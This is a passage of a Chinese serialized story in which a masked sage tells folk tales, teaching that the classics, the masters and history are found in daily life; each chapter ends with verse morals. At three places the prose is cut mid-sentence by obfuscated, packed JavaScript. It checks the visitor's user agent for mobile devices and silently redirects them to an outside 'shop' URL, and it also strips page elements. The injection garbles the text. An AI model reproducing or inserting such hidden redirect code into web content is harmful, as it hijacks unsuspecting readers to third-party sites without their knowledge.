“胶柱？”郑玄同冷笑，“圣学精深，岂是常人可通？” “学是明道，道在日用。”那人声音平和，“《易》言阴阳变化，农人观天时，工匠察物性，商人看行情，皆暗合《易》理，何必必读《连山》《归藏》？《书》载先王言行，长者教子弟，师傅传技艺，乡老理纠纷，皆暗合《书》义，何必必解典谟训诰？《礼》定人伦秩序，父子有亲，夫妇有别，长幼有序，朋友有信，皆暗合《礼》意，何必必通《周礼》《礼记》？《诗》抒人情志，农夫唱秧歌，织女吟机杼，舟子呼号子，皆暗合《诗》心，何必必讽风雅颂？” 他环视众人：“郑先生以古简为宝，然竹简是物，道在心。若只重古物，不重其道，是舍本逐末，以物蔽心。” 郑玄同脸色发青：“你这是轻慢圣学！圣人之学，载于典籍，不读典籍，何以明道？” “典籍是舟，道是彼岸。”那人道，“我闻古时伏羲画卦，并无文字，人观卦象而明天地之理。又闻周公制礼，本为治世，非为着书。大小戴注《礼记》，亦是因时损益。学是明道，非是藏书；道在人心，非在竹帛。若只重古本，不重其道，是以物役心，非是圣人本意。” 他走到一个卖《诗经》的摊前，拿起一卷《国风》，对众人道：“今日腊八，岁寒粥暖，我给大家讲几个故事。” 一、 老农观天的故事 “先说老农观天。”那人翻开《国风》。 “北山有老农姓秦，不识字。每岁春耕，夜观星象，见参星在东南则下秧，见北斗柄指东则种豆，从无差错。有书生问：‘老丈可读过《连山》？《连山》以艮为首，艮为山，山出云，云行雨施。’老农笑曰：‘老汉不识字，但知参星东南，春雨将至；北斗指东，地气已动。此乃天时，与那《连山》何干？’书生愕然。后老农寿八十，无疾而终。临终谓子孙：‘观天在目，在心，不在书。’” 他看向郑玄同：“老农观天，合《易》理而不读《易》。道在天地，何必必求竹帛？” 二、 乡老断事的故事 “再说乡老断事。”那人又拿起《尚书》。 “南山有乡老姓孟，不读书。乡里有争田者，各执一词。孟老召二人至祠堂，曰：‘尔等各言其理。’甲言先祖垦荒，乙言地契为凭。孟老沉吟片刻，判曰：‘甲垦荒有功，得三成；乙有契为凭，得七成。此后和睦，勿再争。’二人皆服。有秀才问：‘孟老可读过《尚书》？《尚书》有典谟训诰，载先王断狱之法。’孟老笑曰：‘老朽不读书，但知情理。垦荒有功当赏，有契为凭当尊，此乃公道，与那《尚书》何干？’秀才惭而退。” 他看向台下乡绅：“乡老断事，合《书》义而不解《书》。道在情理，何必必求典籍？” 三、 邻里和睦的故事 “三说邻里和睦。”那人放下《尚书》。 “西巷有十余户，杂居百年。张家有喜，李家帮厨；王家有难，赵家借粮。春夏共用井，秋收互帮工。有儒生见之，叹曰：‘此合《周礼》邻里相恤之制，诸君可读过《周礼》？’众人笑曰：‘咱们不识字，但知邻里如亲。张家有喜，自然要帮；王家有难，自然要助。此乃人情，与那《周礼》何干？’儒生默然。后此巷百年无讼，人称‘仁里’。” 他看向众人：“邻里和睦，合《礼》意而不通《礼》。道在人情，何必必求经书？” 四、 船夫号子的故事 “四说船夫号子。”那人走到一个卖《乐经》的摊前。 “东河有船夫姓江，不识字。行船时，遇急流则呼：‘哎唷——力拔山兮！’遇平波则唱：‘呀嗬——水如镜兮！’遇顺风则歌：‘噢嘿——风送帆兮！’有文人闻之，惊曰：‘此合《诗经》赋比兴之法，老哥可读过《诗》？’船夫笑曰：‘老汉不识字，但知行船辛苦，呼号解乏。急流时用力，故呼力拔山；平波时闲适，故唱水如镜；顺风时快意，故歌风送帆。此乃心声，与那《诗经》何干？’文人叹服。” 他看向几个船夫模样的听者：“船夫号子，合《诗》心而不讽《诗》。道在自然，何必必求雅颂？” 五、 匠人造器的故事 “最后说匠人造器。”那人行至一个卖《考工记》的摊前。 “城中有铁匠姓雷，不读书。打铁时，观火候，听锤音。火青时下料，锤脆时淬火。所制镰刀，割麦如风；所制犁头，破土如浪。有学者问：‘雷师傅可读过《考工记》？《考工记》载‘凡铸金之状，金与锡黑浊之气竭，黄白次之’，正是观火之法。’雷匠笑曰：‘小人不识字，但知打铁。火青时下料，锤脆时淬火，此乃手艺，与那《考工记》何干？’学者赧然。后雷匠技艺传子，百年不衰。” 他看向郑玄同：“郑先生，道在天地，在人情，在手艺，在生计。老农观天而知农时，乡老断事而明公道，邻里和睦而成仁里，船夫呼号而抒心声，匠人造器而精工艺——此皆暗合圣学，何必必读古本？若只重竹帛，不重实道，是以文害道，非是求学。” 六、 腊八的余温 五个故事讲完，经市上一片寂静。腊月的寒风穿过书摊，吹得书页哗哗作响。 郑玄同沉默良久，缓缓起身，对那人深揖一礼：“先生……先生说得是。老朽胶柱古本，以物蔽心，误入歧途。这圣学之道，道在天地人心，非在竹帛古简。” 他转身，将手中两卷竹简轻轻放在案上，对众人道：“这两卷《连山》《归藏》，或是真，或是伪，已不重要。重要的是——”他指向街市，“老农观天，乡老断事，邻里和睦，船夫呼号，匠人造器，此中皆有道。道在日用，何必远求？” 他深吸一口气：“从今往后，我郑家藏书楼，开门纳众。农人可来问天时，乡老可来询公道，船夫可来听故事，匠人可来谈手艺。圣人之学，不在竹帛，而在天地人情之中！” 众人先是愕然，随即响起一片赞叹。钱百万挠头道：“那我……我还买不买《连山》了？” 赵掌柜拍他肩膀：“买那作甚？听听老农观天，不好么？” 那几个老学究相视苦笑。其中一人叹道：“皓首穷经数十年，不如听这五个故事。” 那人拱手道：“今日腊八，粥暖岁寒，愿列位明道之所在。道在天地，在四时；在人情，在日用；在手艺，在生计。圣人之学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郑家藏书楼后来变了——楼下设“观天处”，老农来说天时；设“断事处”，乡老来讲公道；设“和睦处”，邻里来说故事；设“呼号处”，船夫来唱号子；设“造器处”，匠人来谈手艺。楼上藏书，任人翻阅，然郑玄同常对来客说：“楼下之道，胜楼上之书。” 而那位道行之先生，早已走向下一个需要点化的地方。他走过之处，胶柱渐消，大道渐显。就如这腊八的暖粥，温过经市，温过金陵，温进千家万户，将那些过于沉重的古本，轻轻化在寻常日子里。 本章诫世 一、 圣学真义训 - 有连山，有归藏。有周易，三易详。有典谟，有训诰。有誓命，书之奥。我周公，作周礼。著六官，存治体。大小戴，注礼记。述圣言，礼乐备。曰国风，曰雅颂。号四诗，当讽咏 - 破解法：求学者，自问“求学为明道，还是为藏书？道在竹帛，还是在天地人情？可重古本而轻日用？可求文字而忘实道？” 二、 五合五离 - 老农合《易》而离《易》——观天知时，暗合《易》理，而不读《易》 - 乡老合《书》而离《书》——断事明理，暗合《书》义，而不解《书》 - 邻里合《礼》而离《礼》——和睦相恤，暗合《礼》意，而不通《礼》 - 船夫合《诗》而离《诗》——呼号抒怀，暗合《诗》心，而不讽《诗》 - 匠人合《工》而离《工》——造器精艺，暗合《工》法，而不读《工》 - 五明：道在天地四时，在人情日用，在手艺生计，在平常，在自然。圣人之学，是载道之舟，然道在舟外。莫求舟而忘岸，莫重文而轻道 三、 常之大道 - 深层隐喻：圣人之学，是道之迹，非道之体。《易》是阴阳变化之迹，道在天地四时；《书》是先王言行之迹，道在人情事理；《礼》是人伦秩序之迹，道在和睦相亲；《诗》是情志抒发之迹，道在心声自然；《工》是造物之法之迹，道在技艺运用。若只重竹帛古本，不重天地人情，是以迹为体，以文害道 - 终极指向：世人重圣学，易入歧途：重典籍而轻实道，重古本而轻日用。圣学是舟，道是彼岸。舟为渡人，非为人居。道在天地四时，在人情日用，在手艺生计，在平常自然。莫求舟而忘岸，莫重迹而轻道 圣学偈： 金陵腊八说圣学，郑师胶柱求古本。 连山归藏周易详，典谟训诰誓命奥。 道常先生讲故事，圣学本在日用中。 老农观天乡老断，邻里船夫匠人功。 后世叹： 有连山，有归藏。有周易，道在常。 郑师重书轻天地，皓首穷经忘日用。 白衣点化道在常，圣学本在人情中。 腊八经市听故事，金陵道脉得真传。 正是： 腊八经市说圣学，郑师重书轻日用。 连山归藏求古本，不重天地人情功。 白衣先生讲故事，道在平常自然中。 从此金陵知圣学，天地人情皆是经。 114.传子谳 楔子·冬至说书 腊月冬至，燕京“天桥”书场上，说书先生柳敬亭正拍醒木，说得唾沫横飞： “……列位看官，今日说《春秋三传》！何为三传？《公羊传》《左氏传》《谷梁传》也！《公羊》重义理，《左氏》详史实，《谷梁》主训诂，三家各有千秋！要读史，先通经；经既明，方读子。子书浩繁，撮其要，记其事。五子者，荀子、扬子、文中子、老子、庄子也！经子皆通，乃读诸史，考世系，知终始——此乃读书正途，万不可乱！” 台下听众多是市井闲汉，也有几个挟着书卷的书生。卖糖葫芦的冯瘸子拄着拐杖，嘀咕道：“柳先生说得倒是热闹，可咱们这些睁眼瞎，哪懂什么三传五子？” 旁座卖烤白薯的周大娘笑道：“听听故事就得了，管他什么传！” 柳敬亭听见，将醒木一拍：“哎！这话差了！读书明理，人人可学。就说前街卖豆腐的老王，每晚收摊，都让我给他念一段《左氏传》——如今说话，也文绉绉的！” 正说着，书场角落传来一个温和声音：“柳先生，今日冬至，天寒地冻，不妨说个暖和故事。” 众人望去，见一人坐在条凳上。斗笠是苇秆与枯草混编，檐边缀着几粒白米。白衣是粗棉所制，洗得发白，袖口磨出毛边。木剑倚在墙边，剑穗是褪色的五色丝绦打着吉祥结。面上蒙着本色棉纱，只露出一双明澈如深潭的眼睛。 柳敬亭拱手笑道：“这位客官想听什么故事？” 那人从怀中摸出三枚铜钱，放在面前条凳上：“就讲三个铜钱的故事——一枚说《传》，一枚说《子》，一枚说《史》。” 一、 铜钱一：说《传》 “先说这《传》。”那人拈起一枚铜钱，铜钱在指尖翻转。 “城西有个茶博士，姓左，人都唤他左三壶。他有个绝活：但凡客人说个事儿，他都能用三句话点明要害。一日，绸缎庄钱掌柜和米铺孙掌柜在茶馆争吵。钱掌柜说：‘上月我借你十两银子，有借据为凭！’孙掌柜说：‘你已用三匹绸抵了债，有伙计为证！’二人各执一词，眼看要动手。 “左三壶提壶过去，给二人续茶，说了三句话：‘借钱是实，有据为凭；抵债是实，有人为证；争执是虚，伤和气为实。’二人一愣。左三壶又道：‘钱掌柜，孙掌柜上月可曾帮你打通官府关节，省了二十两税银？孙掌柜，钱掌柜今春可曾赊你三十石米，救你急难？’ “二人默然。左三壶斟茶：‘既有旧情，何必算新账。十两银子，各让五两，如何？’二人对视，举茶一笑。此事传开，人称左三壶是‘活公羊’——三句话断事明理。” 那人将铜钱一弹，铜钱落在条凳上，滴溜溜打转。 “后来有个落第秀才，听了这事，抚掌道：‘此正合《公羊传》义理之法！《公羊》重微言大义，左三壶三句话点明要害，正是微言大义！’又有个老学究摇头：‘不然，此合《左氏传》叙事之详。左三壶详问旧情，正是《左氏》笔法！’还有个塾师笑道：‘此合《谷梁传》训诂之精。左三壶斟茶释怨，正是训诂本义！’ “三人争到左三壶面前。左三壶正在煮茶，听罢笑道：‘三位先生，小人只是就事论事，哪懂什么三传？依小人看，事有理，人知情，茶一斟，怨自解——这便是小人的《传》。’” 铜钱停转，平躺凳上。 柳敬亭听得入神，醒木忘了拍。场中一片寂静，只听见炉火上水壶嘶嘶作响。 二、 铜钱二：说《子》 “再说这《子》。”那人拈起第二枚铜钱。 “城南有个捏面人的老荀，手巧，能捏诸子百家。他摊前总摆五个面人：一个拱手作揖的儒生，是荀子；一个闭目养神的老者，是老子；一个枕臂酣睡的闲汉，是庄子；一个执笔书写的文士，是扬子；还有一个负手望天的学士，是文中子。 “一日，五个书生来逛集市。第一个书生买下荀子面人，说：‘荀子言性恶，重礼法，正是治世良方！’第二个书生买下老子面人，说：‘老子言无为，法自然，才是大道！’第三个书生买下庄子面人，说：‘庄子齐物我，逍遥游，方是真谛！’第四个书生买下扬子面人，说：‘扬子言修身，贵真实，才是根本！’第五个书生买下文中子面人，说：‘文中子续儒脉，明王道，方是正统！’ “五人各执己见，在摊前争起来。老荀笑呵呵听着，手上不停，又捏了五个面人：一个耕田的农夫，一个打铁的铁匠，一个织布的妇人，一个撑船的船夫，一个卖货的商贩。 “五个书生愣了。老荀说：‘五位先生，荀子面人十文，老子面人十文，庄子面人十文，扬子面人十文，文中子面人十文。这耕田的、打铁的、织布的、撑船的、卖货的——各五文。诸位要哪个？’ “书生们面面相觑。老荀将新捏的五个面人推向前：‘依老汉看，诸子百家，说到底是说给人听的。耕田的要节气，打铁的要火候，织布的要经纬，撑船的要水性，卖货的要行情——这些话，荀子说过，老子说过，庄子说过，扬子说过，文中子也说过。何必争谁是谁非？’ “他指指面人摊：‘老汉捏面人，有人爱荀子，有人爱老子，有人爱庄子——各取所需便是。难不成买了荀子，就不能买老子？买了老子，就不能捏个耕田的？’ “五个书生怔了半晌，各自掏钱，把诸子面人和农工匠贩面人都买走了。后来老荀摊上，诸子面人旁，总摆着农工匠贩面人。人说：‘老荀的摊子，诸子百家，百姓百家，都在了。’” 第二枚铜钱飞起，稳稳落在第一枚旁。 三、 铜钱三：说《史》 “最后说这《史》。”那人拈起第三枚铜钱。 “城北有个说史先生，姓司马，双目失明，心却亮堂。他说史有个规矩：不说帝王将相，只说市井小民。人说：‘史书不都记帝王将相么？’司马先生笑道：‘帝王将相是史，市井小民也是史。’ “他每日在天桥摆摊，说‘燕京市井史’。今日说：‘三十年前，东街卖豆汁的李瘸子，每日五更起床磨豆，二十年风雨无阻，养大三个儿子，皆成家立业——此谓勤。’明日说：‘二十年前，西巷接生婆蔡姥姥，接生三百婴儿，从未失手，人称“送子姥姥”——此谓专。’后日说：‘十年前，南城更夫老赵，打更三十年，每夜“天干物燥，小心火烛”，南城三十年无大火——此谓责。’ “有书生嗤笑：‘这算哪门子史？无世系，无终始，无兴替。’司马先生道：‘怎无世系？李瘸子传子，蔡姥姥传徒，老赵传侄——这不是世系？怎无终始？李瘸子从担挑到开店，蔡姥姥从少女到老妪，老赵从壮年到白头——这不是终始？怎无兴替？豆汁铺子从一间到三间，接生手艺从一人传众人，打更梆子从一人传到全城更夫——这不是兴替？’ “他顿了顿，又说：‘史者，事也。帝王将相有事，市井小民也有事。读史者，考世系，知终始——考的不该只是帝王世系，也该有百姓世系；知的不该只是朝代终始，也该有人生终始。’ “后来司马先生老了，说不出话了。有个听过他说的卖菜老汉，接了他的摊子，继续说‘燕京市井史’。如今传到第三代，说史的是个卖糖人的小贩。三枚铜钱听一段，说的还是市井小民的事。” 第三枚铜钱轻轻落下，与另两枚排成一列。 四、 冬至的暖意 三枚铜钱静静躺在条凳上。书场里炉火正旺，水壶噗噗冒着白气。 柳敬亭怔了半晌，忽然将醒木一收，对那人深揖一礼：“先生这三个故事，比我说一辈子书都值。” 那人起身，将三枚铜钱推给柳敬亭：“柳先生，这钱该你收着。” 柳敬亭却摆手：“该我给先生茶钱才是！”他从怀里摸出一把铜钱，就要塞过去。 那人笑道：“我讲故事，你出地方，两不相欠。”说着已将铜钱放入柳敬亭手中，戴上斗笠，转身向外走去。 “先生留步！”冯瘸子拄着拐杖站起来，从草把上拔下一串糖葫芦，“天冷，先生带着甜嘴！” 周大娘也包了两个热腾腾的烤白薯：“先生暖暖手！” 几个书生互相推搡，最后有个青衫书生鼓起勇气上前，躬身道：“学生愚钝，敢问先生……读经读子读史，究竟该从何入手？” 那人驻足，回头看他一眼。棉纱下的眼睛似乎笑了笑。 “从眼前入手。”他指了指冯瘸子的糖葫芦，“这是《传》——山楂是实，糖衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195525|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是文，竹签是骨，三样俱全，便是好《传》。”又指周大娘的烤白薯，“这是《子》——白薯是道，火候是法，香气是用，三昧俱足，便是好《子》。”再指书场里听书的众人，“这是《史》——老幼是世系，寒暑是终始，聚散是兴替，三事皆备，便是好《史》。” 说完，他推开门帘。腊月的风卷着雪沫扑进来，他的白衣在风中一振，人已没入街市熙攘之中。 柳敬亭握着那三枚铜钱，在掌心摩挲良久，忽然对场中众人道：“列位，明日起，咱不说《三传五子》了。” “那说什么？”有人问。 “说‘三铜钱’。”柳敬亭将铜钱往案上一拍，“一枚说街坊事，一枚说手艺事，一枚说家常事。三枚铜钱一段书，管他什么传、什么子、什么史——事儿真，理儿正，便是好书！” 尾声·燕京新话 那年冬至后，燕京天桥书场多了个新规矩：说书先生开场前，先在案上摆三枚铜钱。一枚代《传》，说眼前事理；一枚代《子》，说百家智慧；一枚代《史》，说市井春秋。 后来有人仿着编了段《三铜钱谣》： 三传者，有公羊。有左氏，有谷梁——不如茶馆左三壶，三句话儿断分明。 五子者，有荀扬。文中子，及老庄——不如面人老荀摊，诸子百姓皆团圆。 经子通，读诸史。考世系，知终始——不如说史司马公，市井小民亦是史。 三铜钱，三个事。传子史，在眼前。 而那位用三枚铜钱讲了三件事的白衣人，早已消失在燕京的街巷中。有人说他往张家口去了，有人说他往天津卫去了，也有人说他根本就没离开过天桥——因为从那以后，每个说书先生在开讲前，都会往台下角落里望一眼，仿佛那里永远坐着个戴斗笠、蒙棉纱的白衣人，在静静听着这人间的《传》《子》《史》。 本章诫世 一、 读书真义训 - 三传者，有公羊。有左氏，有谷梁。经既明，方读子。撮其要，记其事。五子者，有荀扬。文中子，及老庄。经子通，读诸史。考世系，知终始 - 破解法：读书人，自问“读书为何？为明理，还是为背书？理在竹帛，还是在眼前？可重经传而轻事理？可求诸子而忘百姓？可考世系而略人生？” 二、 三铜钱三事 - 铜钱一（传）：左三壶断事，重实理，轻经传。理在事中，不在传中 - 铜钱二（子）：老荀捏人，重百姓，轻诸子。道在日用，不在子中 - 铜钱三（史）：司马说史，重小民，轻帝王。史在人生，不在朝堂 - 三明：传在事理，子在日用，史在人生。读书者，当从眼前事读起，从百姓中读起，从人生中读起。莫求高远而忘眼前，莫重经子而轻市井 三、 眼前大道 - 深层隐喻：经传子史，是前人智慧，然智慧之源在生活。左三壶的茶，老荀的面人，司马的市井史——此即是传，即是子，即是史。传是事理之传，子是智慧之子，史是人生之史。若只读竹帛，不读生活，是以流为源，以末为本 - 终极指向：世人重读书，易入歧途：重书本而轻生活，重古人而轻今人，重庙堂而轻市井。书是舟，生活是海；传是迹，事理是实；子是言，智慧是心；史是记，人生是真。莫在舟中求海，莫从迹中求实，莫于言中求心，莫从记中求真 三铜钱偈： 冬至燕京说书场，三传五子诸史详。 柳师说书重经典，不重市井眼前事。 白衣三枚铜钱响，三个故事说传子史。 左三壶茶明事理，老荀面人捏百家，司马说史在小民。 后世叹： 三传者，在茶馆。五子者，在面摊。 诸史者，在市井。经子史，在眼前。 柳师重书轻生活，白衣铜钱点真谛。 从此燕京说书人，三枚铜钱说人间。 正是： 冬至天桥说书场，三传五子诸史详。 柳师重经轻眼前，不重市井百姓事。 白衣铜钱三个事，传在茶端子在捏史在巷。 从此燕京有真书，三枚铜钱说人间。 115.世系谳 楔子·闽江渔火 八月十五中秋夜，福州闽江边，渔火点点如星。江畔“三皇滩”上，一群孩童正围着个说书先生，听他讲“三皇五帝”。 说书先生姓古，人称“古爷爷”，白须垂胸，手执蒲扇，坐在一块大青石上： “……自羲农，至黄帝，号三皇，居上世！伏羲画卦，神农尝草，黄帝制衣冠——此三皇，是我华夏之祖！唐有虞，号二帝，相揖逊，称盛世——尧禅让于舜，舜禅让于禹，那是上古圣世！夏有禹，商有汤，周文武，称三王。夏传子，家天下，四百载，迁夏社……汤伐夏，国号商，六百载，至纣亡……” 孩子们听得入神。有个叫阿鲤的男孩，约莫八九岁，睁大眼睛问：“古爷爷，纣王真的那么坏么？” 古爷爷摇扇：“书上说的，那还有假？酒池肉林，炮烙之刑，坏透了！” 阿鲤还要问，旁边一个清脆童声响起：“老爷爷，您说得不对。” 众人望去，见是个戴斗笠的白衣人，不知何时坐在了孩子们中间。斗笠是细竹与蕉叶混编，檐边缀着几颗小海螺。白衣是苎麻所制，洗得泛白，衣角沾着些泥点。木剑横放膝上，剑穗是褪色的五色丝绦打成渔网结。面上蒙着本色棉纱，只露出一双明澈如江月的眼睛。 古爷爷不悦：“哪里不对？” 白衣人从怀里掏出个油纸包，打开是几块月饼。他分给孩子们，自己也拿起一块，边吃边说：“我说个不一样的故事，你们听不听？” 孩子们齐声道：“听！” 一、 三皇的故事 白衣人咬了口月饼，慢悠悠道：“很久很久以前，还没有‘皇’这个字。江边有个部落，首领叫羲，最会看天象。他看到鸟兽脚印，就教人结网捕鱼；看到雷电烧林，就教人用火烤肉。族人说：‘羲真聪明！’” “山里有个部落，首领叫农，最会认草木。他尝百草，哪些能吃，哪些能治病，都记下来。有次尝到毒草，肠子都青了，还坚持尝。族人说：‘农真仁德！’” “平原有个部落，首领叫黄，最会做东西。他看蜘蛛结网，就教人织布；看鸟儿做窝，就教人造屋。族人说：‘黄真能干！’” “三个部落常来往。羲教农看天时播种，农教黄认草药治伤，黄教羲做衣裳御寒。后来三个部落合在一起，推羲管天时，农管医药，黄管工匠。族人说：‘咱们有三个能人！’” “再后来，人们把这三位能人合称‘三皇’。其实啊，”白衣人眨眨眼，“‘三皇’不是三个皇帝，是三个有本事的头领。就像你们村里，会打鱼的老陈，会种菜的老林，会修船的老黄——三人合起来，村子就好了。” 阿鲤恍然大悟：“就像我爹会打鱼，我娘会补网，我奶奶会腌鱼——合起来，我们家就有鱼吃！” 孩子们都笑了。 二、 尧舜禹的故事 “再说唐尧虞舜。”白衣人又拿起一块月饼。 “唐是个大部落，首领叫尧。尧老了，要找接班人。他儿子丹朱喜欢玩，不管事。尧说：‘不行，得找个能干的。’” “有人推荐舜。舜的爹糊涂，后娘坏，弟弟傲，可舜对他们很好。尧就把两个女儿嫁给舜，观察他。发现舜真的仁厚，就让位给他。这叫‘禅让’——不是磕头让位，是‘你行，你来管’。” “舜老了，也找接班人。他儿子商均能力平平。那时发大水，有个叫禹的人，带着大家治水，三过家门不入。舜说：‘禹行，让禹来管。’” “禹治了水，又教大家挖沟排水，开荒种田。后来禹老了，本来要让位给一个叫益的人，可大家说：‘启（禹的儿子）也挺能干，还懂水利。’就让启接了位。这就成了‘传子’。” 白衣人对孩子们说：“你们玩‘当大王’游戏，是不是谁本事大，就让谁当？尧舜禹那时候，也是这样。后来慢慢变成‘我儿子接我位’，就像阿鲤爹打鱼，将来阿鲤接他船一样，也没什么不对——只要阿鲤会打鱼。” 阿鲤挺起胸：“我会！我五岁就会撒网了！” 三、 夏商周的故事 “夏传到桀，桀喜欢玩，不管事。就像村里管事的，天天喝酒，不修水渠，田都旱了。这时商部落有个叫汤的，能干，大家就跟他走。汤说：‘不是我要造反，是桀不管事，大家活不下去。’” “商传到纣，纣聪明，但傲慢。就像学堂里最聪明的学生，看不起别人，还欺负人。周部落的姬发说：‘纣欺负人，咱们不跟他玩了。’就联合其他部落，把纣赶下台。” “周朝最长，八百年。为什么长？”白衣人剥了块柚子分给孩子们，“因为他们定了个规矩：老大（天子）管大事，老二老三（诸侯）管地方。就像咱们这条江，江总有总船老管，各码头有码头老大，各船有船老大，一层管一层，不乱。” “后来周老大不管事，老二老三们就打架抢地盘。这就到了春秋战国。” 四、 春秋到五代的故事 “春秋时，有五个最能打的码头老大，叫‘五霸’。他们打架，还要说：‘我是为了大家好！’” “战国时，剩下七个老大，打得更凶。这时有读书人到处跑，给老大出主意，叫‘游说’。就像有人到船老大家说：‘给我钱，我教你怎么打赢。’” “后来秦部落赢了，把所有码头都占了，成了‘秦始皇’。他想：‘以前是打架抢，现在我一个人全管。’可管得太严，大家不高兴。传到二世，大家就反了。” “楚霸王和刘邦争，刘邦赢了，建汉朝。汉朝中间被王莽占了一阵，又由刘秀抢回来，分东汉西汉。传到汉献帝，又乱了。” “魏蜀吴三个老大争，三国演义就是讲这个。后来司马家赢了，建晋朝。晋朝乱，分成南朝北朝，就像江这边一伙，江那边一伙，互相骂。” “隋朝统一，但短命。唐朝来了，李世民能干，唐朝三百年。后来朱温灭唐，进入五代——五个短命朝代，像走马灯。” 白衣人说到这儿，拍拍手：“就像你们玩‘跳房子’，一格一格跳。三皇五帝是一格，夏商周是一格，春秋战国是一格，秦汉三国两晋南北朝是一格，隋唐五代是一格——历史就是个大跳房子。” 孩子们咯咯笑，有个女孩说：“我跳房子可厉害了！” 五、 宋元明清的故事 “宋朝是赵匡胤建的。他原是个将军，大家给他黄袍，让他当老大。宋朝有钱，但老被打。后来分成南宋北宋，就像一条船，前舱后舱分开管。” “辽、金是北边部落，也说：‘我们能当老大！’和宋打架。最后蒙古人来了，全占了，建元朝。元朝地盘大，但管不好，九十年就没了。” “朱元璋放牛娃出身，打败元朝，建明朝。明朝迁都北京，传十六个皇帝。后来管事的太监坏，老百姓造反，李自成打进北京，明朝亡了。” “清朝是满洲人建的，康雍乾时不错。后来外国人来了，打架，清朝打不过。传到宣统，没了。” “再后来，不要皇帝了，建了民国。” 白衣人说到这儿，看着孩子们：“从三皇到民国，就像一条很长很长的江。有宽的时候，有窄的时候；有清的时候，有浑的时候；有顺流的时候，有打漩的时候。但江一直在流。” 六、 渔火问答 故事讲完，江上渔火更密了。月饼已分完，柚子还剩几瓣。 古爷爷一直沉默听着，这时才开口，声音有点哑：“先生说的……和书上不太一样。” “书上记的是大事，”白衣人说，“我讲的是小事。大事是江，小事是水。没有水，哪有江？” 阿鲤问：“那……纣王真的很坏么？” “也许坏，也许不坏，”白衣人摸摸他的头，“书上记的，是写书人看到的。就像你看到二狗抢大妞的糖，你说二狗坏。可也许二狗的糖昨天被大妞偷了呢？” 另一个孩子问：“皇帝都是坏的么？” “有好有坏，就像你们村里，”白衣人说，“陈村长给大家修路，是好村长；李保长贪大家的鱼，是坏保长。皇帝就是大村长，大保长。” “那……不要皇帝行么？” “行啊，”白衣人笑，“就像你们玩‘过家家’，今天你当爹，明天我当爹。只要大家过得舒服，谁当都行。” 古爷爷忽然站起来，对白衣人深揖一礼：“老朽说了一辈子书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195526|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，今日才明白——历史不是庙堂上的事，是江里的事，是村里的事，是人的事。” 白衣人还礼：“老丈客气。历史是条江，咱们都是水。水记得江的事，江也记得水的事。” 他起身，拍拍衣摆，对孩子们说：“好了，故事讲完，我也该走了。” 阿鲤拉住他衣角：“你明天还来么？” 白衣人弯腰，从怀里掏出个小竹哨，递给阿鲤：“想听故事时，吹这个。故事在风里，风会带来。” 尾声·江风竹哨 那天夜里，阿鲤在江边吹响竹哨。江风习习，带来远处渔歌，带来更夫梆子，带来邻家絮语，也带来古老的故事——那些三皇渔网的故事，尧舜让贤的故事，大禹治水的故事，秦汉明月的故事，唐宋渔火的故事…… 古爷爷不再说“三皇五帝”了，他开始说“三皇滩故事”——说伏羲怎么教这里人看潮汐，神农怎么教这里人认海药，黄帝怎么教这里人造舟。他说，咱们闽人，是三皇的子孙，是水的子孙。 后来阿鲤长大了，成了船老大。他总在八月十五，在江边给孩子们讲故事。故事开头总是： “很久很久以前，还没有‘皇’这个字。江边有个部落……” 而那个戴斗笠的白衣人，再也没有出现过。但渔夫们说，月夜行船时，偶尔会看到江心有个白影，戴着斗笠，静静立在浪尖上。风吹过，带来隐约的歌声： 自羲农，至黄帝，不是三皇是三人。 唐有虞，号二帝，你让我来我让你。 夏商周，春秋战，就像小孩争糖块。 秦汉三国到明清，不过江水流不停。 历史不是庙堂事，是你是我是渔火。 吹声竹哨风带来，故事在江也在心。 本章诫世 一、 历史真义训 - 自羲农，至黄帝。号三皇，居上世……革命兴，废帝制，立宪法，建民国 - 破解法：看历史，自问“历史是谁的历史？是庙堂的，还是江边的？是皇帝的，还是渔夫的？可只见江水，不见水滴？可只说朝代，不说人事？” 二、 五事五喻 - 三皇喻能人——如村里会打鱼、会种菜、会修船者 - 尧舜禹喻让贤——如小孩游戏“谁行谁当” - 夏商周喻管事——如船老大管船，管好则久，管坏则换 - 春秋到五代喻争地——如码头老大打架抢地盘 - 宋到民国喻流变——如江水有宽窄清浊，但长流不息 - 五明：历史是人史，非朝史；是民事，非宫事；是活事，非死事。三皇是能人，尧舜是让贤，桀纣是失管，秦皇汉武是大管事的，唐宋元明清是不同管法 三、 江流大道 - 深层隐喻：历史是条江，朝代是江道，百姓是江水。江道有曲直，江水长流；朝代有兴替，百姓常在。书史者，常记江道，不记江水；常记曲直，不记长流。然无水不成江，无民不成史 - 终极指向：世人看历史，易入歧途：重庙堂而轻江湖，重帝王而轻百姓，重朝代而轻人事。历史是江，你我皆是水。水流成江，江载水流。莫见江不见水，莫说朝不道人 三皇滩偈： 闽江中秋渔火明，古爷爷说三皇事。 羲农黄帝到民国，一部朝代兴替史。 白衣人讲江海事，三皇只是三能人。 尧舜让贤如游戏，夏商周朝如管船。 历史不是庙堂事，是江是水是渔歌。 后世叹： 自羲农，至黄帝，不是三皇是三人。 